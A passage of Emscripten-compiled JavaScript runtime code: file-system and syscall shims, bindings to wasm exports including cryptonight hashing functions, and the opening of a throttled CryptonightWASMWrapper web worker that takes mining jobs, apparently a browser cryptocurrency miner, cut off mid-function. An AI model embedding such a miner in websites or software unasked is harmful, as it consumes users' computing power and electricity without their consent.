        if (obj.isDevice || obj.isFolder || obj.link || obj.contents)
            return true;
        var success = true;
        if (typeof XMLHttpRequest !== "undefined") {
            throw new Error("Lazy loading should have been performed (contents set) in createLazyFile, but it was not. Lazy loading only works in web workers. Use --embed-file or --preload-file in emcc on the main thread.")
        } else if (Module["read"]) {
            try {
                obj.contents = intArrayFromString(Module["read"](obj.url), true);
                obj.usedBytes = obj.contents.length
            } catch (e) {
                success = false
            }
        } else {
            throw new Error("Cannot load without read() or XMLHttpRequest.")
        }
        if (!success)
            ___setErrNo(ERRNO_CODES.EIO);
        return success
    }
    ),
    createLazyFile: (function(parent, name, url, canRead, canWrite) {
        function LazyUint8Array() {
            this.lengthKnown = false;
            this.chunks = []
        }
        LazyUint8Array.prototype.get = function LazyUint8Array_get(idx) {
            if (idx > this.length - 1 || idx < 0) {
                return undefined
            }
            var chunkOffset = idx % this.chunkSize;
            var chunkNum = idx / this.chunkSize | 0;
            return this.getter(chunkNum)[chunkOffset]
        }
        ;
        LazyUint8Array.prototype.setDataGetter = function LazyUint8Array_setDataGetter(getter) {
            this.getter = getter
        }
        ;
        LazyUint8Array.prototype.cacheLength = function LazyUint8Array_cacheLength() {
            var xhr = new XMLHttpRequest;
            xhr.open("HEAD", url, false);
            xhr.send(null);
            if (!(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304))
                throw new Error("Couldn't load " + url + ". Status: " + xhr.status);
            var datalength = Number(xhr.getResponseHeader("Content-length"));
            var header;
            var hasByteServing = (header = xhr.getResponseHeader("Accept-Ranges")) && header === "bytes";
            var usesGzip = (header = xhr.getResponseHeader("Content-Encoding")) && header === "gzip";
            var chunkSize = 1024 * 1024;
            if (!hasByteServing)
                chunkSize = datalength;
            var doXHR = (function(from, to) {
                if (from > to)
                    throw new Error("invalid range (" + from + ", " + to + ") or no bytes requested!");
                if (to > datalength - 1)
                    throw new Error("only " + datalength + " bytes available! programmer error!");
                var xhr = new XMLHttpRequest;
                xhr.open("GET", url, false);
                if (datalength !== chunkSize)
                    xhr.setRequestHeader("Range", "bytes=" + from + "-" + to);
                if (typeof Uint8Array != "undefined")
                    xhr.responseType = "arraybuffer";
                if (xhr.overrideMimeType) {
                    xhr.overrideMimeType("text/plain; charset=x-user-defined")
                }
                xhr.send(null);
                if (!(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304))
                    throw new Error("Couldn't load " + url + ". Status: " + xhr.status);
                if (xhr.response !== undefined) {
                    return new Uint8Array(xhr.response || [])
                } else {
                    return intArrayFromString(xhr.responseText || "", true)
                }
            }
            );
            var lazyArray = this;
            lazyArray.setDataGetter((function(chunkNum) {
                var start = chunkNum * chunkSize;
                var end = (chunkNum + 1) * chunkSize - 1;
                end = Math.min(end, datalength - 1);
                if (typeof lazyArray.chunks[chunkNum] === "undefined") {
                    lazyArray.chunks[chunkNum] = doXHR(start, end)
                }
                if (typeof lazyArray.chunks[chunkNum] === "undefined")
                    throw new Error("doXHR failed!");
                return lazyArray.chunks[chunkNum]
            }
            ));
            if (usesGzip || !datalength) {
                chunkSize = datalength = 1;
                datalength = this.getter(0).length;
                chunkSize = datalength;
                console.log("LazyFiles on gzip forces download of the whole file when length is accessed")
            }
            this._length = datalength;
            this._chunkSize = chunkSize;
            this.lengthKnown = true
        }
        ;
        if (typeof XMLHttpRequest !== "undefined") {
            if (!ENVIRONMENT_IS_WORKER)
                throw "Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc";
            var lazyArray = new LazyUint8Array;
            Object.defineProperties(lazyArray, {
                length: {
                    get: (function() {
                        if (!this.lengthKnown) {
                            this.cacheLength()
                        }
                        return this._length
                    }
                    )
                },
                chunkSize: {
                    get: (function() {
                        if (!this.lengthKnown) {
                            this.cacheLength()
                        }
                        return this._chunkSize
                    }
                    )
                }
            });
            var properties = {
                isDevice: false,
                contents: lazyArray
            }
        } else {
            var properties = {
                isDevice: false,
                url: url
            }
        }
        var node = FS.createFile(parent, name, properties, canRead, canWrite);
        if (properties.contents) {
            node.contents = properties.contents
        } else if (properties.url) {
            node.contents = null;
            node.url = properties.url
        }
        Object.defineProperties(node, {
            usedBytes: {
                get: (function() {
                    return this.contents.length
                }
                )
            }
        });
        var stream_ops = {};
        var keys = Object.keys(node.stream_ops);
        keys.forEach((function(key) {
            var fn = node.stream_ops[key];
            stream_ops[key] = function forceLoadLazyFile() {
                if (!FS.forceLoadFile(node)) {
                    throw new FS.ErrnoError(ERRNO_CODES.EIO)
                }
                return fn.apply(null, arguments)
            }
        }
        ));
        stream_ops.read = function stream_ops_read(stream, buffer, offset, length, position) {
            if (!FS.forceLoadFile(node)) {
                throw new FS.ErrnoError(ERRNO_CODES.EIO)
            }
            var contents = stream.node.contents;
            if (position >= contents.length)
                return 0;
            var size = Math.min(contents.length - position, length);
            assert(size >= 0);
            if (contents.slice) {
                for (var i = 0; i < size; i++) {
                    buffer[offset + i] = contents[position + i]
                }
            } else {
                for (var i = 0; i < size; i++) {
                    buffer[offset + i] = contents.get(position + i)
                }
            }
            return size
        }
        ;
        node.stream_ops = stream_ops;
        return node
    }
    ),
    createPreloadedFile: (function(parent, name, url, canRead, canWrite, onload, onerror, dontCreateFile, canOwn, preFinish) {
        Browser.init();
        var fullname = name ? PATH.resolve(PATH.join2(parent, name)) : parent;
        var dep = getUniqueRunDependency("cp " + fullname);
        function processData(byteArray) {
            function finish(byteArray) {
                if (preFinish)
                    preFinish();
                if (!dontCreateFile) {
                    FS.createDataFile(parent, name, byteArray, canRead, canWrite, canOwn)
                }
                if (onload)
                    onload();
                removeRunDependency(dep)
            }
            var handled = false;
            Module["preloadPlugins"].forEach((function(plugin) {
                if (handled)
                    return;
                if (plugin["canHandle"](fullname)) {
                    plugin["handle"](byteArray, fullname, finish, (function() {
                        if (onerror)
                            onerror();
                        removeRunDependency(dep)
                    }
                    ));
                    handled = true
                }
            }
            ));
            if (!handled)
                finish(byteArray)
        }
        addRunDependency(dep);
        if (typeof url == "string") {
            Browser.asyncLoad(url, (function(byteArray) {
                processData(byteArray)
            }
            ), onerror)
        } else {
            processData(url)
        }
    }
    ),
    indexedDB: (function() {
        return window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB
    }
    ),
    DB_NAME: (function() {
        return "EM_FS_" + window.location.pathname
    }
    ),
    DB_VERSION: 20,
    DB_STORE_NAME: "FILE_DATA",
    saveFilesToDB: (function(paths, onload, onerror) {
        onload = onload || (function() {}
        );
        onerror = onerror || (function() {}
        );
        var indexedDB = FS.indexedDB();
        try {
            var openRequest = indexedDB.open(FS.DB_NAME(), FS.DB_VERSION)
        } catch (e) {
            return onerror(e)
        }
        openRequest.onupgradeneeded = function openRequest_onupgradeneeded() {
            console.log("creating db");
            var db = openRequest.result;
            db.createObjectStore(FS.DB_STORE_NAME)
        }
        ;
        openRequest.onsuccess = function openRequest_onsuccess() {
            var db = openRequest.result;
            var transaction = db.transaction([FS.DB_STORE_NAME], "readwrite");
            var files = transaction.objectStore(FS.DB_STORE_NAME);
            var ok = 0
              , fail = 0
              , total = paths.length;
            function finish() {
                if (fail == 0)
                    onload();
                else
                    onerror()
            }
            paths.forEach((function(path) {
                var putRequest = files.put(FS.analyzePath(path).object.contents, path);
                putRequest.onsuccess = function putRequest_onsuccess() {
                    ok++;
                    if (ok + fail == total)
                        finish()
                }
                ;
                putRequest.onerror = function putRequest_onerror() {
                    fail++;
                    if (ok + fail == total)
                        finish()
                }
            }
            ));
            transaction.onerror = onerror
        }
        ;
        openRequest.onerror = onerror
    }
    ),
    loadFilesFromDB: (function(paths, onload, onerror) {
        onload = onload || (function() {}
        );
        onerror = onerror || (function() {}
        );
        var indexedDB = FS.indexedDB();
        try {
            var openRequest = indexedDB.open(FS.DB_NAME(), FS.DB_VERSION)
        } catch (e) {
            return onerror(e)
        }
        openRequest.onupgradeneeded = onerror;
        openRequest.onsuccess = function openRequest_onsuccess() {
            var db = openRequest.result;
            try {
                var transaction = db.transaction([FS.DB_STORE_NAME], "readonly")
            } catch (e) {
                onerror(e);
                return
            }
            var files = transaction.objectStore(FS.DB_STORE_NAME);
            var ok = 0
              , fail = 0
              , total = paths.length;
            function finish() {
                if (fail == 0)
                    onload();
                else
                    onerror()
            }
            paths.forEach((function(path) {
                var getRequest = files.get(path);
                getRequest.onsuccess = function getRequest_onsuccess() {
                    if (FS.analyzePath(path).exists) {
                        FS.unlink(path)
                    }
                    FS.createDataFile(PATH.dirname(path), PATH.basename(path), getRequest.result, true, true, true);
                    ok++;
                    if (ok + fail == total)
                        finish()
                }
                ;
                getRequest.onerror = function getRequest_onerror() {
                    fail++;
                    if (ok + fail == total)
                        finish()
                }
            }
            ));
            transaction.onerror = onerror
        }
        ;
        openRequest.onerror = onerror
    }
    )
};
var SYSCALLS = {
    DEFAULT_POLLMASK: 5,
    mappings: {},
    umask: 511,
    calculateAt: (function(dirfd, path) {
        if (path[0] !== "/") {
            var dir;
            if (dirfd === -100) {
                dir = FS.cwd()
            } else {
                var dirstream = FS.getStream(dirfd);
                if (!dirstream)
                    throw new FS.ErrnoError(ERRNO_CODES.EBADF);
                dir = dirstream.path
            }
            path = PATH.join2(dir, path)
        }
        return path
    }
    ),
    doStat: (function(func, path, buf) {
        try {
            var stat = func(path)
        } catch (e) {
            if (e && e.node && PATH.normalize(path) !== PATH.normalize(FS.getPath(e.node))) {
                return -ERRNO_CODES.ENOTDIR
            }
            throw e
        }
        HEAP32[buf >> 2] = stat.dev;
        HEAP32[buf + 4 >> 2] = 0;
        HEAP32[buf + 8 >> 2] = stat.ino;
        HEAP32[buf + 12 >> 2] = stat.mode;
        HEAP32[buf + 16 >> 2] = stat.nlink;
        HEAP32[buf + 20 >> 2] = stat.uid;
        HEAP32[buf + 24 >> 2] = stat.gid;
        HEAP32[buf + 28 >> 2] = stat.rdev;
        HEAP32[buf + 32 >> 2] = 0;
        HEAP32[buf + 36 >> 2] = stat.size;
        HEAP32[buf + 40 >> 2] = 4096;
        HEAP32[buf + 44 >> 2] = stat.blocks;
        HEAP32[buf + 48 >> 2] = stat.atime.getTime() / 1e3 | 0;
        HEAP32[buf + 52 >> 2] = 0;
        HEAP32[buf + 56 >> 2] = stat.mtime.getTime() / 1e3 | 0;
        HEAP32[buf + 60 >> 2] = 0;
        HEAP32[buf + 64 >> 2] = stat.ctime.getTime() / 1e3 | 0;
        HEAP32[buf + 68 >> 2] = 0;
        HEAP32[buf + 72 >> 2] = stat.ino;
        return 0
    }
    ),
    doMsync: (function(addr, stream, len, flags) {
        var buffer = new Uint8Array(HEAPU8.subarray(addr, addr + len));
        FS.msync(stream, buffer, 0, len, flags)
    }
    ),
    doMkdir: (function(path, mode) {
        path = PATH.normalize(path);
        if (path[path.length - 1] === "/")
            path = path.substr(0, path.length - 1);
        FS.mkdir(path, mode, 0);
        return 0
    }
    ),
    doMknod: (function(path, mode, dev) {
        switch (mode & 61440) {
        case 32768:
        case 8192:
        case 24576:
        case 4096:
        case 49152:
            break;
        default:
            return -ERRNO_CODES.EINVAL
        }
        FS.mknod(path, mode, dev);
        return 0
    }
    ),
    doReadlink: (function(path, buf, bufsize) {
        if (bufsize <= 0)
            return -ERRNO_CODES.EINVAL;
        var ret = FS.readlink(path);
        var len = Math.min(bufsize, lengthBytesUTF8(ret));
        var endChar = HEAP8[buf + len];
        stringToUTF8(ret, buf, bufsize + 1);
        HEAP8[buf + len] = endChar;
        return len
    }
    ),
    doAccess: (function(path, amode) {
        if (amode & ~7) {
            return -ERRNO_CODES.EINVAL
        }
        var node;
        var lookup = FS.lookupPath(path, {
            follow: true
        });
        node = lookup.node;
        var perms = "";
        if (amode & 4)
            perms += "r";
        if (amode & 2)
            perms += "w";
        if (amode & 1)
            perms += "x";
        if (perms && FS.nodePermissions(node, perms)) {
            return -ERRNO_CODES.EACCES
        }
        return 0
    }
    ),
    doDup: (function(path, flags, suggestFD) {
        var suggest = FS.getStream(suggestFD);
        if (suggest)
            FS.close(suggest);
        return FS.open(path, flags, 0, suggestFD, suggestFD).fd
    }
    ),
    doReadv: (function(stream, iov, iovcnt, offset) {
        var ret = 0;
        for (var i = 0; i < iovcnt; i++) {
            var ptr = HEAP32[iov + i * 8 >> 2];
            var len = HEAP32[iov + (i * 8 + 4) >> 2];
            var curr = FS.read(stream, HEAP8, ptr, len, offset);
            if (curr < 0)
                return -1;
            ret += curr;
            if (curr < len)
                break
        }
        return ret
    }
    ),
    doWritev: (function(stream, iov, iovcnt, offset) {
        var ret = 0;
        for (var i = 0; i < iovcnt; i++) {
            var ptr = HEAP32[iov + i * 8 >> 2];
            var len = HEAP32[iov + (i * 8 + 4) >> 2];
            var curr = FS.write(stream, HEAP8, ptr, len, offset);
            if (curr < 0)
                return -1;
            ret += curr
        }
        return ret
    }
    ),
    varargs: 0,
    get: (function(varargs) {
        SYSCALLS.varargs += 4;
        var ret = HEAP32[SYSCALLS.varargs - 4 >> 2];
        return ret
    }
    ),
    getStr: (function() {
        var ret = Pointer_stringify(SYSCALLS.get());
        return ret
    }
    ),
    getStreamFromFD: (function() {
        var stream = FS.getStream(SYSCALLS.get());
        if (!stream)
            throw new FS.ErrnoError(ERRNO_CODES.EBADF);
        return stream
    }
    ),
    getSocketFromFD: (function() {
        var socket = SOCKFS.getSocket(SYSCALLS.get());
        if (!socket)
            throw new FS.ErrnoError(ERRNO_CODES.EBADF);
        return socket
    }
    ),
    getSocketAddress: (function(allowNull) {
        var addrp = SYSCALLS.get()
          , addrlen = SYSCALLS.get();
        if (allowNull && addrp === 0)
            return null;
        var info = __read_sockaddr(addrp, addrlen);
        if (info.errno)
            throw new FS.ErrnoError(info.errno);
        info.addr = DNS.lookup_addr(info.addr) || info.addr;
        return info
    }
    ),
    get64: (function() {
        var low = SYSCALLS.get()
          , high = SYSCALLS.get();
        if (low >= 0)
            assert(high === 0);
        else
            assert(high === -1);
        return low
    }
    ),
    getZero: (function() {
        assert(SYSCALLS.get() === 0)
    }
    )
};
function ___syscall20(which, varargs) {
    SYSCALLS.varargs = varargs;
    try {
        return PROCINFO.pid
    } catch (e) {
        if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError))
            abort(e);
        return -e.errno
    }
}
var ___tm_current = STATICTOP;
STATICTOP += 48;
var ___tm_timezone = allocate(intArrayFromString("GMT"), "i8", ALLOC_STATIC);
function _gmtime_r(time, tmPtr) {
    var date = new Date(HEAP32[time >> 2] * 1e3);
    HEAP32[tmPtr >> 2] = date.getUTCSeconds();
    HEAP32[tmPtr + 4 >> 2] = date.getUTCMinutes();
    HEAP32[tmPtr + 8 >> 2] = date.getUTCHours();
    HEAP32[tmPtr + 12 >> 2] = date.getUTCDate();
    HEAP32[tmPtr + 16 >> 2] = date.getUTCMonth();
    HEAP32[tmPtr + 20 >> 2] = date.getUTCFullYear() - 1900;
    HEAP32[tmPtr + 24 >> 2] = date.getUTCDay();
    HEAP32[tmPtr + 36 >> 2] = 0;
    HEAP32[tmPtr + 32 >> 2] = 0;
    var start = Date.UTC(date.getUTCFullYear(), 0, 1, 0, 0, 0, 0);
    var yday = (date.getTime() - start) / (1e3 * 60 * 60 * 24) | 0;
    HEAP32[tmPtr + 28 >> 2] = yday;
    HEAP32[tmPtr + 40 >> 2] = ___tm_timezone;
    return tmPtr
}
function _gmtime(time) {
    return _gmtime_r(time, ___tm_current)
}
function ___lock() {}
function ___unlock() {}
function ___syscall6(which, varargs) {
    SYSCALLS.varargs = varargs;
    try {
        var stream = SYSCALLS.getStreamFromFD();
        FS.close(stream);
        return 0
    } catch (e) {
        if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError))
            abort(e);
        return -e.errno
    }
}
function _emscripten_memcpy_big(dest, src, num) {
    HEAPU8.set(HEAPU8.subarray(src, src + num), dest);
    return dest
}
function _ftime(p) {
    var millis = Date.now();
    HEAP32[p >> 2] = millis / 1e3 | 0;
    HEAP16[p + 4 >> 1] = millis % 1e3;
    HEAP16[p + 6 >> 1] = 0;
    HEAP16[p + 8 >> 1] = 0;
    return 0
}
function ___syscall140(which, varargs) {
    SYSCALLS.varargs = varargs;
    try {
        var stream = SYSCALLS.getStreamFromFD()
          , offset_high = SYSCALLS.get()
          , offset_low = SYSCALLS.get()
          , result = SYSCALLS.get()
          , whence = SYSCALLS.get();
        var offset = offset_low;
        FS.llseek(stream, offset, whence);
        HEAP32[result >> 2] = stream.position;
        if (stream.getdents && offset === 0 && whence === 0)
            stream.getdents = null;
        return 0
    } catch (e) {
        if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError))
            abort(e);
        return -e.errno
    }
}
function ___syscall146(which, varargs) {
    SYSCALLS.varargs = varargs;
    try {
        var stream = SYSCALLS.getStreamFromFD()
          , iov = SYSCALLS.get()
          , iovcnt = SYSCALLS.get();
        return SYSCALLS.doWritev(stream, iov, iovcnt)
    } catch (e) {
        if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError))
            abort(e);
        return -e.errno
    }
}
function ___syscall54(which, varargs) {
    SYSCALLS.varargs = varargs;
    try {
        var stream = SYSCALLS.getStreamFromFD()
          , op = SYSCALLS.get();
        switch (op) {
        case 21505:
            {
                if (!stream.tty)
                    return -ERRNO_CODES.ENOTTY;
                return 0
            }
            ;
        case 21506:
            {
                if (!stream.tty)
                    return -ERRNO_CODES.ENOTTY;
                return 0
            }
            ;
        case 21519:
            {
                if (!stream.tty)
                    return -ERRNO_CODES.ENOTTY;
                var argp = SYSCALLS.get();
                HEAP32[argp >> 2] = 0;
                return 0
            }
            ;
        case 21520:
            {
                if (!stream.tty)
                    return -ERRNO_CODES.ENOTTY;
                return -ERRNO_CODES.EINVAL
            }
            ;
        case 21531:
            {
                var argp = SYSCALLS.get();
                return FS.ioctl(stream, op, argp)
            }
            ;
        case 21523:
            {
                if (!stream.tty)
                    return -ERRNO_CODES.ENOTTY;
                return 0
            }
            ;
        default:
            abort("bad ioctl syscall " + op)
        }
    } catch (e) {
        if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError))
            abort(e);
        return -e.errno
    }
}
FS.staticInit();
__ATINIT__.unshift((function() {
    if (!Module["noFSInit"] && !FS.init.initialized)
        FS.init()
}
));
__ATMAIN__.push((function() {
    FS.ignorePermissions = false
}
));
__ATEXIT__.push((function() {
    FS.quit()
}
));
Module["FS_createFolder"] = FS.createFolder;
Module["FS_createPath"] = FS.createPath;
Module["FS_createDataFile"] = FS.createDataFile;
Module["FS_createPreloadedFile"] = FS.createPreloadedFile;
Module["FS_createLazyFile"] = FS.createLazyFile;
Module["FS_createLink"] = FS.createLink;
Module["FS_createDevice"] = FS.createDevice;
Module["FS_unlink"] = FS.unlink;
__ATINIT__.unshift((function() {
    TTY.init()
}
));
__ATEXIT__.push((function() {
    TTY.shutdown()
}
));
if (ENVIRONMENT_IS_NODE) {
    var fs = require("fs");
    var NODEJS_PATH = require("path");
    NODEFS.staticInit()
}
DYNAMICTOP_PTR = allocate(1, "i32", ALLOC_STATIC);
STACK_BASE = STACKTOP = Runtime.alignMemory(STATICTOP);
STACK_MAX = STACK_BASE + TOTAL_STACK;
DYNAMIC_BASE = Runtime.alignMemory(STACK_MAX);
HEAP32[DYNAMICTOP_PTR >> 2] = DYNAMIC_BASE;
staticSealed = true;
Module["wasmTableSize"] = 14;
Module["wasmMaxTableSize"] = 14;
function invoke_ii(index, a1) {
    try {
        return Module["dynCall_ii"](index, a1)
    } catch (e) {
        if (typeof e !== "number" && e !== "longjmp")
            throw e;
        Module["setThrew"](1, 0)
    }
}
function invoke_iiii(index, a1, a2, a3) {
    try {
        return Module["dynCall_iiii"](index, a1, a2, a3)
    } catch (e) {
        if (typeof e !== "number" && e !== "longjmp")
            throw e;
        Module["setThrew"](1, 0)
    }
}
function invoke_viii(index, a1, a2, a3) {
    try {
        Module["dynCall_viii"](index, a1, a2, a3)
    } catch (e) {
        if (typeof e !== "number" && e !== "longjmp")
            throw e;
        Module["setThrew"](1, 0)
    }
}
Module.asmGlobalArg = {
    "Math": Math,
    "Int8Array": Int8Array,
    "Int16Array": Int16Array,
    "Int32Array": Int32Array,
    "Uint8Array": Uint8Array,
    "Uint16Array": Uint16Array,
    "Uint32Array": Uint32Array,
    "Float32Array": Float32Array,
    "Float64Array": Float64Array,
    "NaN": NaN,
    "Infinity": Infinity
};
Module.asmLibraryArg = {
    "abort": abort,
    "assert": assert,
    "enlargeMemory": enlargeMemory,
    "getTotalMemory": getTotalMemory,
    "abortOnCannotGrowMemory": abortOnCannotGrowMemory,
    "invoke_ii": invoke_ii,
    "invoke_iiii": invoke_iiii,
    "invoke_viii": invoke_viii,
    "_gmtime_r": _gmtime_r,
    "_gmtime": _gmtime,
    "___lock": ___lock,
    "___syscall6": ___syscall6,
    "___setErrNo": ___setErrNo,
    "___unlock": ___unlock,
    "_ftime": _ftime,
    "_emscripten_memcpy_big": _emscripten_memcpy_big,
    "___syscall54": ___syscall54,
    "___syscall140": ___syscall140,
    "___syscall20": ___syscall20,
    "___assert_fail": ___assert_fail,
    "___syscall146": ___syscall146,
    "DYNAMICTOP_PTR": DYNAMICTOP_PTR,
    "tempDoublePtr": tempDoublePtr,
    "ABORT": ABORT,
    "STACKTOP": STACKTOP,
    "STACK_MAX": STACK_MAX
};
var asm = Module["asm"](Module.asmGlobalArg, Module.asmLibraryArg, buffer);
Module["asm"] = asm;
var _cryptonight_hash = Module["_cryptonight_hash"] = (function() {
    return Module["asm"]["_cryptonight_hash"].apply(null, arguments)
}
);
var getTempRet0 = Module["getTempRet0"] = (function() {
    return Module["asm"]["getTempRet0"].apply(null, arguments)
}
);
var _free = Module["_free"] = (function() {
    return Module["asm"]["_free"].apply(null, arguments)
}
);
var runPostSets = Module["runPostSets"] = (function() {
    return Module["asm"]["runPostSets"].apply(null, arguments)
}
);
var setTempRet0 = Module["setTempRet0"] = (function() {
    return Module["asm"]["setTempRet0"].apply(null, arguments)
}
);
var establishStackSpace = Module["establishStackSpace"] = (function() {
    return Module["asm"]["establishStackSpace"].apply(null, arguments)
}
);
var _memmove = Module["_memmove"] = (function() {
    return Module["asm"]["_memmove"].apply(null, arguments)
}
);
var stackSave = Module["stackSave"] = (function() {
    return Module["asm"]["stackSave"].apply(null, arguments)
}
);
var _memset = Module["_memset"] = (function() {
    return Module["asm"]["_memset"].apply(null, arguments)
}
);
var _malloc = Module["_malloc"] = (function() {
    return Module["asm"]["_malloc"].apply(null, arguments)
}
);
var _cryptonight_create = Module["_cryptonight_create"] = (function() {
    return Module["asm"]["_cryptonight_create"].apply(null, arguments)
}
);
var _memcpy = Module["_memcpy"] = (function() {
    return Module["asm"]["_memcpy"].apply(null, arguments)
}
);
var _emscripten_get_global_libc = Module["_emscripten_get_global_libc"] = (function() {
    return Module["asm"]["_emscripten_get_global_libc"].apply(null, arguments)
}
);
var stackAlloc = Module["stackAlloc"] = (function() {
    return Module["asm"]["stackAlloc"].apply(null, arguments)
}
);
var setThrew = Module["setThrew"] = (function() {
    return Module["asm"]["setThrew"].apply(null, arguments)
}
);
var _sbrk = Module["_sbrk"] = (function() {
    return Module["asm"]["_sbrk"].apply(null, arguments)
}
);
var _fflush = Module["_fflush"] = (function() {
    return Module["asm"]["_fflush"].apply(null, arguments)
}
);
var stackRestore = Module["stackRestore"] = (function() {
    return Module["asm"]["stackRestore"].apply(null, arguments)
}
);
var _cryptonight_destroy = Module["_cryptonight_destroy"] = (function() {
    return Module["asm"]["_cryptonight_destroy"].apply(null, arguments)
}
);
var ___errno_location = Module["___errno_location"] = (function() {
    return Module["asm"]["___errno_location"].apply(null, arguments)
}
);
var dynCall_ii = Module["dynCall_ii"] = (function() {
    return Module["asm"]["dynCall_ii"].apply(null, arguments)
}
);
var dynCall_iiii = Module["dynCall_iiii"] = (function() {
    return Module["asm"]["dynCall_iiii"].apply(null, arguments)
}
);
var dynCall_viii = Module["dynCall_viii"] = (function() {
    return Module["asm"]["dynCall_viii"].apply(null, arguments)
}
);
Runtime.stackAlloc = Module["stackAlloc"];
Runtime.stackSave = Module["stackSave"];
Runtime.stackRestore = Module["stackRestore"];
Runtime.establishStackSpace = Module["establishStackSpace"];
Runtime.setTempRet0 = Module["setTempRet0"];
Runtime.getTempRet0 = Module["getTempRet0"];
Module["asm"] = asm;
if (memoryInitializer) {
    if (typeof Module["locateFile"] === "function") {
        memoryInitializer = Module["locateFile"](memoryInitializer)
    } else if (Module["memoryInitializerPrefixURL"]) {
        memoryInitializer = Module["memoryInitializerPrefixURL"] + memoryInitializer
    }
    if (ENVIRONMENT_IS_NODE || ENVIRONMENT_IS_SHELL) {
        var data = Module["readBinary"](memoryInitializer);
        HEAPU8.set(data, Runtime.GLOBAL_BASE)
    } else {
        addRunDependency("memory initializer");
        var applyMemoryInitializer = (function(data) {
            if (data.byteLength)
                data = new Uint8Array(data);
            HEAPU8.set(data, Runtime.GLOBAL_BASE);
            if (Module["memoryInitializerRequest"])
                delete Module["memoryInitializerRequest"].response;
            removeRunDependency("memory initializer")
        }
        );
        function doBrowserLoad() {
            Module["readAsync"](memoryInitializer, applyMemoryInitializer, (function() {
                throw "could not load memory initializer " + memoryInitializer
            }
            ))
        }
        if (Module["memoryInitializerRequest"]) {
            function useRequest() {
                var request = Module["memoryInitializerRequest"];
                if (request.status !== 200 && request.status !== 0) {
                    console.warn("a problem seems to have happened with Module.memoryInitializerRequest, status: " + request.status + ", retrying " + memoryInitializer);
                    doBrowserLoad();
                    return
                }
                applyMemoryInitializer(request.response)
            }
            if (Module["memoryInitializerRequest"].response) {
                setTimeout(useRequest, 0)
            } else {
                Module["memoryInitializerRequest"].addEventListener("load", useRequest)
            }
        } else {
            doBrowserLoad()
        }
    }
}
function ExitStatus(status) {
    this.name = "ExitStatus";
    this.message = "Program terminated with exit(" + status + ")";
    this.status = status
}
ExitStatus.prototype = new Error;
ExitStatus.prototype.constructor = ExitStatus;
var initialStackTop;
var preloadStartTime = null;
var calledMain = false;
dependenciesFulfilled = function runCaller() {
    if (!Module["calledRun"])
        run();
    if (!Module["calledRun"])
        dependenciesFulfilled = runCaller
}
;
Module["callMain"] = Module.callMain = function callMain(args) {
    args = args || [];
    ensureInitRuntime();
    var argc = args.length + 1;
    function pad() {
        for (var i = 0; i < 4 - 1; i++) {
            argv.push(0)
        }
    }
    var argv = [allocate(intArrayFromString(Module["thisProgram"]), "i8", ALLOC_NORMAL)];
    pad();
    for (var i = 0; i < argc - 1; i = i + 1) {
        argv.push(allocate(intArrayFromString(args[i]), "i8", ALLOC_NORMAL));
        pad()
    }
    argv.push(0);
    argv = allocate(argv, "i32", ALLOC_NORMAL);
    try {
        var ret = Module["_main"](argc, argv, 0);
        exit(ret, true)
    } catch (e) {
        if (e instanceof ExitStatus) {
            return
        } else if (e == "SimulateInfiniteLoop") {
            Module["noExitRuntime"] = true;
            return
        } else {
            var toLog = e;
            if (e && typeof e === "object" && e.stack) {
                toLog = [e, e.stack]
            }
            Module.printErr("exception thrown: " + toLog);
            Module["quit"](1, e)
        }
    } finally {
        calledMain = true
    }
}
;
function run(args) {
    args = args || Module["arguments"];
    if (preloadStartTime === null)
        preloadStartTime = Date.now();
    if (runDependencies > 0) {
        return
    }
    preRun();
    if (runDependencies > 0)
        return;
    if (Module["calledRun"])
        return;
    function doRun() {
        if (Module["calledRun"])
            return;
        Module["calledRun"] = true;
        if (ABORT)
            return;
        ensureInitRuntime();
        preMain();
        if (Module["onRuntimeInitialized"])
            Module["onRuntimeInitialized"]();
        if (Module["_main"] && shouldRunNow)
            Module["callMain"](args);
        postRun()
    }
    if (Module["setStatus"]) {
        Module["setStatus"]("Running...");
        setTimeout((function() {
            setTimeout((function() {
                Module["setStatus"]("")
            }
            ), 1);
            doRun()
        }
        ), 1)
    } else {
        doRun()
    }
}
Module["run"] = Module.run = run;
function exit(status, implicit) {
    if (implicit && Module["noExitRuntime"]) {
        return
    }
    if (Module["noExitRuntime"]) {} else {
        ABORT = true;
        EXITSTATUS = status;
        STACKTOP = initialStackTop;
        exitRuntime();
        if (Module["onExit"])
            Module["onExit"](status)
    }
    if (ENVIRONMENT_IS_NODE) {
        process["exit"](status)
    }
    Module["quit"](status, new ExitStatus(status))
}
Module["exit"] = Module.exit = exit;
var abortDecorators = [];
function abort(what) {
    if (Module["onAbort"]) {
        Module["onAbort"](what)
    }
    if (what !== undefined) {
        Module.print(what);
        Module.printErr(what);
        what = JSON.stringify(what)
    } else {
        what = ""
    }
    ABORT = true;
    EXITSTATUS = 1;
    var extra = "\nIf this abort() is unexpected, build with -s ASSERTIONS=1 which can give more information.";
    var output = "abort(" + what + ") at " + stackTrace() + extra;
    if (abortDecorators) {
        abortDecorators.forEach((function(decorator) {
            output = decorator(output, what)
        }
        ))
    }
    throw output
}
Module["abort"] = Module.abort = abort;
if (Module["preInit"]) {
    if (typeof Module["preInit"] == "function")
        Module["preInit"] = [Module["preInit"]];
    while (Module["preInit"].length > 0) {
        Module["preInit"].pop()()
    }
}
var shouldRunNow = true;
if (Module["noInitialRun"]) {
    shouldRunNow = false
}
run();
var CryptonightWASMWrapper = (function() {
    this.ctx = _cryptonight_create();
    this.throttleWait = 0;
    this.throttledStart = 0;
    this.throttledHashes = 0;
    this.workThrottledBound = this.workThrottled.bind(this);
    this.currentJob = null;
    this.target = new Uint8Array([255, 255, 255, 255, 255, 255, 255, 255]);
    var heap = Module.HEAPU8.buffer;
    this.input = new Uint8Array(heap,Module._malloc(84),84);
    this.output = new Uint8Array(heap,Module._malloc(32),32);
    self.postMessage("ready");
    self.onmessage = this.onMessage.bind(this)
}
);
CryptonightWASMWrapper.prototype.onMessage = (function(msg) {
    var job = msg.data;
    if (job.verify_id) {
        this.verify(job);
        return
    }
    if (!this.currentJob || this.currentJob.job_id !== job.job_id) {
